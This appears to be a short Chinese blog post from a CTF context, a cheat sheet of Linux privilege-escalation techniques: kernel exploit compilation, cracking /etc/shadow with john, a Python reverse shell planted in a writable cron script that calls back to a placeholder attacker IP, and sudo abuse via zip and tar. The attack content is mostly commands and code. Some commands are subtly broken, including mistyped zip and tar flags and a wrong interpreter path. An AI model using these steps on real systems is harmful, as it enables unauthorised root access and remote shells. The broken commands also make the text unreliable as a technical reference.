CTF-内核漏洞提权

1. 内核漏洞提权

  查看发行版本:  cat /etc/issue  cat /etc/*-release

  查看内核版本:  uname -a

  寻找内核溢出代码:  searchspoit 发行版本 内核版本

  上传内核溢出代码,编译执行  gcc xxx.c -o exploit

                  chmod +x exploit

                  ./exploit

2. 明文root密码提取

  大多linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件相关

  passwd里储存了用户,shadow里是密码的hash。passwd全用户可读,root可写。shadow仅root读写。

  例如

      /etc/passwd /etc/shadow

      unshadow passwd shadow > cracked

      john cracked

3. 计划任务

  一般定时执行的任务由crontab管理,非root用户不可列出,但 /etc/内系统的计划任务可以被列出。

  如果其中一个脚本配置成任意用户可写,就可以修改脚本回连rootshell

  攻击机启动nc监听端口 nc -nlvp port

  脚本代码:

      #!/user/bin/python

      import os,subprocess,socket

 

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      s.connect(("攻击机IP","攻击机监听端口"))

      os.dup2(s.fileno(),0)

      os.dup2(s.fileno(),1)

      os.dup2(s.fileno(),2)

      p=subprocess.call(["/bin/sh","-i"])

4. 密码复用

  模拟终端设备:

    python -c'import pty;pty.spawn("/bin/sh")'

  使用sudo -l 查看当前用户可以使用root提权的命令信息;

  利用zip提权

    touch exploit

    sudo -u root zip exploit.zip exploit-T -unzip-command="sh -c /bin/bash"

  利用tar提权

    sudo -u root tar cf /dev/null exploit -checkpoint -checkpoint=1 --checkpoint-action=" /bin/bash"

上一篇:kali metasploit 之使用介绍


下一篇:软件测试2019:第五次作业